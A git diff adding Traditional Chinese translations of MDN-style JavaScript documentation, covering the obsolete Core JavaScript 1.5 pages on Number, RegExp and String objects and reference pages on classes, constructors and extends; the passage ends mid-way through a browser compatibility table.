+   <td>toExponential</td>
+   <td>返回以指數符號表示的數字的字串。</td>
+  </tr>
+  <tr>
+   <td>toFixed</td>
+   <td>返回以固定小數點表示的數字的字串。</td>
+  </tr>
+  <tr>
+   <td>toPrecision</td>
+   <td>返回以指定精度的固定小數點表示的數字的字串。</td>
+  </tr>
+  <tr>
+   <td>toSource</td>
+   <td>返回表示指定的 Number 物件的字面表達。你可以使用這個值來建立新的物件。覆蓋 Object.toSource 方法。</td>
+  </tr>
+  <tr>
+   <td>toString</td>
+   <td>返回表示指定物件的字串。覆蓋 Object.toString 方法。</td>
+  </tr>
+  <tr>
+   <td>valueOf</td>
+   <td>返回指定物件的原始值。覆蓋 Object.valueOf 方法。</td>
+  </tr>
+ </tbody>
+</table>
+<p><small><strong>表 7.3: Number.prototype 的方法</strong></small></p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:預先定義的核心物件:Math_物件", "Core_JavaScript_1.5_教學:預先定義的核心物件:RegExp_物件") }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的核心物件/regexp_物件/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的核心物件/regexp_物件/index.html
new file mode 100644
index 0000000000..6d26e86067
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的核心物件/regexp_物件/index.html
@@ -0,0 +1,9 @@
+---
+title: RegExp 物件
+slug: >-
+  Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/預先定義的核心物件/RegExp_物件
+---
+<p> </p>
+<h3 id="RegExp_物件" name="RegExp_物件">RegExp 物件</h3>
+<p><code>RegExp</code> 物件可讓你運用正規表達式。已在第 4 章中解說過，<a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8#%E6%AD%A3%E8%A6%8F%E8%A1%A8%E9%81%94%E5%BC%8F" title="zh tw/Core JavaScript 1.5 教學#正規表達式">正規表達式</a>。</p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:預先定義的核心物件:Number_物件", "Core_JavaScript_1.5_教學:預先定義的核心物件:String_物件") }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的核心物件/string_物件/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的核心物件/string_物件/index.html
new file mode 100644
index 0000000000..9e18d6ca98
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/預先定義的核心物件/string_物件/index.html
@@ -0,0 +1,88 @@
+---
+title: String 物件
+slug: >-
+  Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/預先定義的核心物件/String_物件
+---
+<p> </p>
+<h3 id="String_物件" name="String_物件">String 物件</h3>
+<p><code>String</code> 物件只有一個屬性，<code>length</code>，用來指明字串中的字元數目。例如，下面的代碼把 13 的值代入給 <code>x</code>，因為 "Hello, World!" 有 13 個字元︰</p>
+<pre>mystring = "Hello, World!"
+x = mystring.length
+</pre>
+<p><code>String</code> 物件有兩種類型的方法︰一種是返回對字串本身的修改，如 <code>substring</code> 和 <code>toUpperCase</code>，另一種是返回字串的 HTML 格式版本，如 <code>bold</code> 和 <code>link</code>。</p>
+<p>舉例來說，延用前面的例子，<code>mystring.toUpperCase()</code> 和 <code>"hello, world!".toUpperCase()</code> 都會返回字串 "HELLO, WORLD!"。</p>
+<p><code>substring</code> 方法接受兩個參數，並返回介於兩個參數之間的字串的子集。延用前面的例子，<code>mystring.substring(4, 9)</code> 返回字串 "o, Wo"。參閱 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83" title="zh tw/Core JavaScript 1.5 參考">Core JavaScript 參考</a> 中的 String 物件的 <code>substring</code> 方法，以取得更進一步資訊。</p>
+<p><code>String</code> 物件也有大量的針對自動的 HTML 格式化的方法，如 bold 建立粗體文字，link 建立超連結。例如，你可以使用 link 方法建立連結到某個 URL 的超連結，如下︰</p>
+<pre>mystring.link("http://www.helloworld.com")
+</pre>
+<p>下表列出 <code>String</code> 物件的方法。</p>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>方法</th>
+   <th>說明</th>
+  </tr>
+  <tr>
+   <td><a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/String/anchor" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/anchor">anchor</a></td>
+   <td>建立已命名的 HTML 錨點。</td>
+  </tr>
+  <tr>
+   <td><a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/String/big" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/big">big</a>, <a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/String/blink" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/blink">blink</a>, <a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/String/bold" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/bold">bold</a>, <a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/String/fixed" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/fixed">fixed</a>, <a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/String/italics" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/italics">italics</a>, <a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/String/small" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/small">small</a>, <a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/String/strike" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/strike">strike</a>, <a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/String/sub" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/sub">sub</a>, <a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/String/sup" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/sup">sup</a></td>
+   <td>建立 HTML 格式的字串。</td>
+  </tr>
+  <tr>
+   <td><a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/String/charAt" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/charAt">charAt</a>, <a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/String/charCodeAt" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/charCodeAt">charCodeAt</a></td>
+   <td>返回字串中指定位置的字元或者字元內碼。</td>
+  </tr>
+  <tr>
+   <td><a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/String/indexOf" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/indexOf">indexOf</a>, <a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/String/lastIndexOf" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/lastIndexOf">lastIndexOf</a></td>
+   <td>返回字串中指定子字串的位置，或指定子字串的最後的位置。</td>
+  </tr>
+  <tr>
+   <td><a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/String/link" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/link">link</a></td>
+   <td>建立 HTML 超連結。</td>
+  </tr>
+  <tr>
+   <td><a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/String/concat" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/concat">concat</a></td>
+   <td>合併兩個字串的文字，並返回新的字串。</td>
+  </tr>
+  <tr>
+   <td><a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/String/fromCharCode" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/fromCharCode">fromCharCode</a></td>
+   <td>從指定的 Unicode 值的序列建構字串。這是 String 類別的方法，而不是 String 實體的。</td>
+  </tr>
+  <tr>
+   <td><a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/String/split" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/split">split</a></td>
+   <td>藉由把字串分成子字串的方式，把 String 物件分割成字串的陣列。</td>
+  </tr>
+  <tr>
+   <td><a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/String/slice" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/slice">slice</a></td>
+   <td>抽出字串的片斷，並返回新的字串。</td>
+  </tr>
+  <tr>
+   <td><a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/String/substring" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/substring">substring</a>, <a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/String/substr" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/substr">substr</a></td>
+   <td>以指定的起始或終止索引、或起始索引和長度，返回指定字串的子集。</td>
+  </tr>
+  <tr>
+   <td><a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/String/match" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/match">match</a>, <a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/String/replace" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/replace">replace</a>, <a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/String/search" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/search">search</a></td>
+   <td>與正則表達式配合使用。</td>
+  </tr>
+  <tr>
+   <td><a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/String/toLowerCase" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/toLowerCase">toLowerCase</a>, <a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/String/toUpperCase" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/toUpperCase">toUpperCase</a></td>
+   <td>返回全是大寫或全是小寫的字串。</td>
+  </tr>
+ </tbody>
+</table>
+<p><small><strong>表 7.4: String 實體的方法</strong></small></p>
+<h3 id="String_Literals_are_Not_String_Objects" name="String_Literals_are_Not_String_Objects">字串的字面表達並不是 String 物件</h3>
+<p><code>String</code> 物件只是字串的原始資料類型的包裝而已。別把字串的字面表達和 <code>String</code> 物件相混淆了。例如，下面的代碼建立字串的字面表達 <code>s1</code> 和 String 物件 <code>s2</code>︰</p>
+<pre>s1 = "foo" // 建立字串的字面表達值
+s2 = new String("foo") // 建立 String 物件
+</pre>
+<p>你可以在字串的字面表達值上呼叫所有的 <code>String</code> 物件的方法—JavaScript 會自動把字串的字面表達轉換成臨時的 <code>String</code> 物件，呼叫其方法，然後丟棄臨時的 <code>String</code> 物件。你也可以在字面表達上使用 <code>String.length</code> 屬性。</p>
+<p>你應該使用字串的字面表達，除非你確定需要使用 <code>String</code> 物件，因為 <code>String</code> 物件會有反直覺的行為。例如︰</p>
+<pre>s1 = "2 + 2" // 建立字串的字面表達值
+s2 = new String("2 + 2") //建立 String 物件
+eval(s1) // 返回數字 4
+eval(s2) // 返回字串 "2 + 2"
+</pre>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:預先定義的核心物件:RegExp_物件", "Core_JavaScript_1.5_教學:繼承") }}</p>
diff --git a/files/zh-tw/web/javascript/reference/classes/constructor/index.html b/files/zh-tw/web/javascript/reference/classes/constructor/index.html
new file mode 100644
index 0000000000..8da81e9b71
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/classes/constructor/index.html
@@ -0,0 +1,157 @@
+---
+title: 建構子
+slug: Web/JavaScript/Reference/Classes/constructor
+translation_of: Web/JavaScript/Reference/Classes/constructor
+---
+<div>{{jsSidebar("Classes")}}</div>
+
+<p><code>constructor</code>（建構子）是個隨著 <code>class</code> 一同建立並初始化物件的特殊方法。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox notranslate">constructor([arguments]) { ... }</pre>
+
+<h2 id="敘述">敘述</h2>
+
+<p>一個 class 只能有一個稱為 constructor 的特殊物件。如果一個 class 出現兩次以上的 <code>constructor</code>，就會發生 {{jsxref("SyntaxError")}} 錯誤。</p>
+
+<p>如果不指定建構子，就會使用預設的建構子。</p>
+
+<h2 id="示例">示例</h2>
+
+<h3 id="使用_constructor_方法">使用 <code>constructor</code> 方法</h3>
+
+<p>這段程式碼是從 <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">classes sample</a> 擷取而來。（<a href="https://googlechrome.github.io/samples/classes-es6/index.html">線上範例</a>）</p>
+
+<pre class="brush: js notranslate">class Square extends Polygon {
+  constructor(length) {
+    // 我們在這裡呼叫了 class 的建構子提供多邊形的長寬值
+    super(length, length);
+    // 注意：在 derived class 中，super() 必須在使用 this 以前被呼叫。不這樣的話會發生錯誤。
+    this.name = 'Square';
+  }
+
+  get area() {
+    return this.height * this.width;
+  }
+
+  set area(value) {
+    this.area = value;
+  }
+}</pre>
+
+<h3 id="預設的建構子">預設的建構子</h3>
+
+<p>如上文所說：如果不指定建構子，就會使用預設的建構子。對 base classes 而言，預設的建構子長得像這樣：</p>
+
+<pre class="brush: js notranslate">constructor() {}
+</pre>
+
+<p>對 derived class 而言，預設的建構子長得像這樣：</p>
+
+<pre class="brush: js notranslate">constructor(...args) {
+  super(...args);
+}</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-static-semantics-constructormethod', 'Constructor Method')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-static-semantics-constructormethod', 'Constructor Method')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{CompatGeckoDesktop(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>預設的建構子</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{CompatGeckoMobile(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+  </tr>
+  <tr>
+   <td>預設的建構子</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/super">super()</a></li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/class"><code>class</code> expression</a></li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/class"><code>class</code> declaration</a></li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Classes">Classes</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/classes/extends/index.html b/files/zh-tw/web/javascript/reference/classes/extends/index.html
new file mode 100644
index 0000000000..ce729e552b
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/classes/extends/index.html
@@ -0,0 +1,108 @@
+---
+title: extends
+slug: Web/JavaScript/Reference/Classes/extends
+translation_of: Web/JavaScript/Reference/Classes/extends
+---
+<div>{{jsSidebar("Classes")}}</div>
+
+<p><strong><code>extends</code></strong> 關鍵字被使用於<a href="/en-US/docs/Web/JavaScript/Reference/Statements/class">類別（class）宣告</a>或<a href="/en-US/docs/Web/JavaScript/Reference/Operators/class">類別（class）表達式</a>中來建立擴展的子類別 。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/classes-extends.html", "taller")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">class ChildClass extends ParentClass { ... }
+</pre>
+
+<h2 id="解釋">解釋</h2>
+
+<p><code>extends</code> 關鍵字可用於建立一個自訂類別或內建類別的子類別。</p>
+
+<p>其繼承之原型 <code>.prototype</code> 必須是 {{jsxref("Object")}} 或 {{jsxref("null")}}。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用_extends">使用 <code>extends</code></h3>
+
+<p>第一個範例是根據 <code>Polygon</code>類別建立一個名為 <code>Square</code> 的子類別。此範例提取自<a href="https://googlechrome.github.io/samples/classes-es6/index.html">線上示例</a>。</p>
+
+<pre class="brush: js">class Square extends Polygon {
+  constructor(length) {
+    // Here, it calls the parent class' constructor with lengths
+    // provided for the Polygon's width and height
+    super(length, length);
+    // Note: In derived classes, super() must be called before you
+    // can use 'this'. Leaving this out will cause a reference error.
+    this.name = 'Square';
+  }
+
+  get area() {
+    return this.height * this.width;
+  }
+}</pre>
+
+<h3 id="使用_extends_於內建類別">使用 <code>extends</code> 於內建類別</h3>
+
+<p>這個範例擴展了內建的 {{jsxref("Date")}} 類別。此範例提取自<a href="https://googlechrome.github.io/samples/classes-es6/index.html">線上範例</a>。</p>
+
+<pre class="brush: js">class myDate extends Date {
+  constructor() {
+    super();
+  }
+
+  getFormattedDate() {
+    var months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];
+    return this.getDate() + '-' + months[this.getMonth()] + '-' + this.getFullYear();
+  }
+}</pre>
+
+<h3 id="擴展_null">擴展 <code>null</code></h3>
+
+<p>像擴展普通類別一樣擴展 {{jsxref("null")}}，但新對象的原型不會繼承 {{jsxref("Object.prototype")}}。</p>
+
+<pre class="brush: js">class nullExtends extends null {
+  constructor() {}
+}
+
+Object.getPrototypeOf(nullExtends); // Function.prototype
+Object.getPrototypeOf(nullExtends.prototype) // null
+
+new nullExtends(); //ReferenceError: this is not defined
+</pre>
+
+<h2 id="標準">標準</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-class-definitions', 'extends')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-class-definitions', 'extends')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("javascript.classes.extends")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Classes">Classes</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/super">super</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/classes/index.html b/files/zh-tw/web/javascript/reference/classes/index.html
new file mode 100644
index 0000000000..e3a62d781b
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/classes/index.html
@@ -0,0 +1,362 @@
+---
+title: Classes
+slug: Web/JavaScript/Reference/Classes
+tags:
+  - Classes
+  - Constructors
+translation_of: Web/JavaScript/Reference/Classes
+---
+<div>{{JsSidebar("Classes")}}</div>
+
+<p>ECMAScript 6 中引入了類別 (class) 作為 JavaScript 現有原型程式(prototype-based)繼承的語法糖。類別語法並<strong>不是</strong>要引入新的物件導向繼承模型到 JavaScript 中，而是提供一個更簡潔的語法來建立物件和處理繼承。</p>
+
+<h2 id="定義類別">定義類別</h2>
+
+<p>類別實際上是一種特別的函數(<a href="/en-US/docs/Web/JavaScript/Reference/Functions">functions</a>)，就跟你可以定義函數敘述和函數宣告一樣，類別的語法有兩個元件：類別敘述(<a href="/en-US/docs/Web/JavaScript/Reference/Operators/class">class expressions</a>)和類別宣告(<a href="/en-US/docs/Web/JavaScript/Reference/Statements/class">class declarations</a>)。</p>
+
+<h3 id="類別宣告">類別宣告</h3>
+
+<p>一個定義類別的方法是使用類別宣告(<strong>class declaration</strong>)，要宣告一個類別，你要使用關鍵字 <code>class</code> 搭配類別名稱(此例為 "Polygon")。</p>
+
+<pre class="brush: js">class Polygon {
+  constructor(height, width) {
+    this.height = height;
+    this.width = width;
+  }
+}</pre>
+
+<h4 id="Hoisting">Hoisting</h4>
+
+<p><strong>函數宣告</strong>和<strong>類別宣告</strong>的一個重要差別在於函數宣告是 {{Glossary("Hoisting", "hoisted")}} ，類別宣告則不是。 你需要先宣告你的類別，然後存取它，否則像是下面的程式碼就會丟出一個 {{jsxref("ReferenceError")}}:</p>
+
+<pre class="brush: js example-bad">var p = new Polygon(); // ReferenceError
+
+class Polygon {}
+</pre>
+
+<h3 id="類別敘述">類別敘述</h3>
+
+<p><strong>類別敘述</strong>是定義類別的另一種方法。類別敘述可以有名稱或是無名稱。賦予一個有名稱類別敘述的名稱只在類別主體(class's body)中有作用。（但是類別敘述的名稱可以透過該類別（不是實例）的 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/name">.name</a> 屬性存取。）</p>
+
+<pre class="brush: js">// unnamed
+var Polygon = class {
+  constructor(height, width) {
+    this.height = height;
+    this.width = width;
+  }
+};
+
+// named
+var Polygon = class Polygon {
+  constructor(height, width) {
+    this.height = height;
+    this.width = width;
+  }
+};
+
+</pre>
+
+<p>注意：類別<strong>敘述</strong>跟上述提到的類別<strong>宣告</strong>一樣，都會受到hoisting的影響。</p>
+
+<h2 id="類別主體與方法定義">類別主體與方法定義</h2>
+
+<p>類別的主體指的是被大括號(<code>{}</code>)包含的部分，你可以在這裡面定義類別成員(members)，例如方法(methods)或建構子(constructors)。</p>
+
+<h3 id="Strict_mode">Strict mode</h3>
+
+<p><em>類別宣告</em>與<em>類別敘述</em>的主體都會以<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode">嚴格模式(strict mode</a>)執行，也就是說，建構子、靜態方法和原型方法、getter及setter函數等都會以嚴格模式執行。</p>
+
+<h3 id="建構子">建構子</h3>
+
+<p>建構子(<code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/constructor">constructor</a>)</code>方法是一個特別的方法，用來建立和初始化一個<code>類別</code>的物件。一個類別只能有一個名為建構子(constructor)的特別方法。當類別中含有一個以上的<code>建構子</code>方法時，{{jsxref("SyntaxError")}} 將會被拋出。</p>
+
+<p>一個建構子可以用關鍵字 <code>super</code> 來呼叫父類別的建構子。</p>
+
+<h3 id="原型方法">原型方法</h3>
+
+<p>參見 <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">method definitions</a>。</p>
+
+<pre class="brush: js">class Polygon {
+  constructor(height, width) {
+    this.height = height;
+    this.width = width;
+  }
+  // Getter
+  get area() {
+    return this.calcArea();
+  }
+  // Method
+  calcArea() {
+    return this.height * this.width;
+  }
+}
+
+const square = new Polygon(10, 10);
+
+console.log(square.area); //100</pre>
+
+<h3 id="靜態方法Static_methods">靜態方法(Static methods)</h3>
+
+<p>關鍵字 <code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/static">static</a></code> 定義了一個類別的靜態方法，靜態方法不需要<a href="/zh-TW/docs/Learn/JavaScript/Objects">實體化</a>它所屬類別的實例就可以被呼叫，它也<strong>無法</strong>被已實體化的類別物件呼叫。靜態方法經常被用來建立給應用程式使用的工具函數。</p>
+
+<pre class="brush: js">class Point {
+    constructor(x, y) {
+        this.x = x;
+        this.y = y;
+    }
+
+    static distance(a, b) {
+        const dx = a.x - b.x;
+        const dy = a.y - b.y;
+
+        return Math.sqrt(dx*dx + dy*dy);
+    }
+}
+
+const p1 = new Point(5, 5);
+const p2 = new Point(10, 10);
+
+console.log(Point.distance(p1, p2)); // 7.0710678118654755
+</pre>
+
+<h3 id="裝箱、原型方法及靜態方法">裝箱、原型方法及靜態方法</h3>
+
+<p>當一個靜態方法或原形方法被呼叫，但沒有一個物件的值與this綁定時，被呼叫的函數中this關鍵字會是<strong><code>undefined</code>。</strong>在此情況下，自動裝箱(autoboxing)不會發生<strong>。?</strong>即使我們在非嚴格模式中寫程式，此行為仍然會存在，這是因為所有的函式、定義方法、建構子、getters和setters都是在嚴格模式中執行。因此，若我們沒有定義this的值，this會是<strong><code>undefined</code></strong><code>。</code></p>
+
+<pre class="brush: js">class Animal {
+  speak() {
+    return this;
+  }
+  static eat() {
+    return this;
+  }
+}
+
+let obj = new Animal();
+obj.speak(); // Animal {}
+let speak = obj.speak;
+speak(); // undefined
+
+Animal.eat() // class Animal
+let eat = Animal.eat;
+eat(); // undefined</pre>
+
+<p>若我們將上述程式用傳統的函式基礎類別(function based classes)表達，自動裝箱則會依據this在其被呼叫的函式中所綁定的值發生。</p>
+
+<pre class="brush: js">function Animal() { }
+
+Animal.prototype.speak = function() {
+  return this;
+}
+
+Animal.eat = function() {
+  return this;
+}
+
+let obj = new Animal();
+let speak = obj.speak;
+speak(); // 全域物件
+
+let eat = Animal.eat;
+eat(); // 全域物件</pre>
+
+<h2 id="用_extends_建立子類別">用 <code>extends</code> 建立子類別</h2>
+
+<p>關鍵字 <code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/extends">extends</a></code> 是在類別宣告或是類別敘述中建立子類別的方法。</p>
+
+<pre class="brush: js">class Animal {
+  constructor(name) {
+    this.name = name;
+  }
+
+  speak() {
+    console.log(this.name + ' makes a noise.');
+  }
+}
+
+class Dog extends Animal {
+  speak() {
+    console.log(this.name + ' barks.');
+  }
+}
+
+var d = new Dog('Mitzie');
+d.speak(); // Mitzie barks.
+</pre>
+
+<p>若在子類別中有建構子(constructor)，要使用this前則必須先呼叫super()函式。</p>
+
+<p>你也可以擴充(extends)傳統的函式基礎"類別"。</p>
+
+<pre class="brush: js">function Animal (name) {
+  this.name = name;
+}
+
+Animal.prototype.speak = function () {
+  console.log(this.name + ' makes a noise.');
+}
+
+class Dog extends Animal {
+  speak() {
+    console.log(this.name + ' barks.');
+  }
+}
+
+var d = new Dog('Mitzie');
+d.speak(); // Mitzie barks.</pre>
+
+<p>注意類別並無法擴充一般(non-constructible不可建構的)物件。如果您想要繼承自一般的物件，可以使用{{jsxref("Object.setPrototypeOf()")}}來達成。</p>
+
+<pre class="brush: js">var Animal = {
+  speak() {
+    console.log(this.name + ' makes a noise.');
+  }
+};
+
+class Dog {
+  constructor(name) {
+    this.name = name;
+  }
+}
+
+// 如果你沒有用以下的方法，當你呼叫speak時會出現TypeError
+Object.setPrototypeOf(Dog.prototype, Animal);
+
+var d = new Dog('Mitzie');
+d.speak(); // Mitzie makes a noise.</pre>
+
+<h2 id="Species">Species</h2>
+
+<p>你可能會希望在陣列的衍生類別 <code>MyArray</code> 中回傳陣列 ({{jsxref("Array")}}) ，Species 這個模式讓你能覆寫默認的建構子 (contructor)。</p>
+
+<p>舉例來說，當你使用像 {{jsxref("Array.map", "map()")}} 這類會回傳默認建構子的方法時，你希望能回傳父物件 <code>Array</code> ，而不是 <code>MyArray</code> 物件。 {{jsxref("Symbol.species")}} 符號讓你做到這件事：</p>
+
+<pre class="brush: js">class MyArray extends Array {
+  // Overwrite species to the parent Array constructor
+  static get [Symbol.species]() { return Array; }
+}
+
+var a = new MyArray(1,2,3);
+var mapped = a.map(x =&gt; x * x);
+
+console.log(mapped instanceof MyArray); // false
+console.log(mapped instanceof Array);   // true</pre>
+
+<h2 id="用_super_呼叫父類別">用 <code>super</code> 呼叫父類別</h2>
+
+<p>關鍵字 <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/super">super</a></code> 是用來提供一個類別呼叫其父類別的函數。</p>
+
+<pre class="brush: js">class Cat {
+  constructor(name) {
+    this.name = name;
+  }
+
+  speak() {
+    console.log(this.name + ' makes a noise.');
+  }
+}
+
+class Lion extends Cat {
+  speak() {
+    super.speak();
+    console.log(this.name + ' roars.');
+  }
+}
+
+var l = new Lion('Fuzzy');
+l.speak();
+// Fuzzy makes a noise.
+// Fuzzy roars.
+</pre>
+
+<h2 id="ES5_繼承語法與_ES6_類別語法的比較">ES5 繼承語法與 ES6 類別語法的比較</h2>
+
+<p>TBD</p>
+
+<h2 id="範例">範例</h2>
+
+<p>TBD</p>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">評論</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
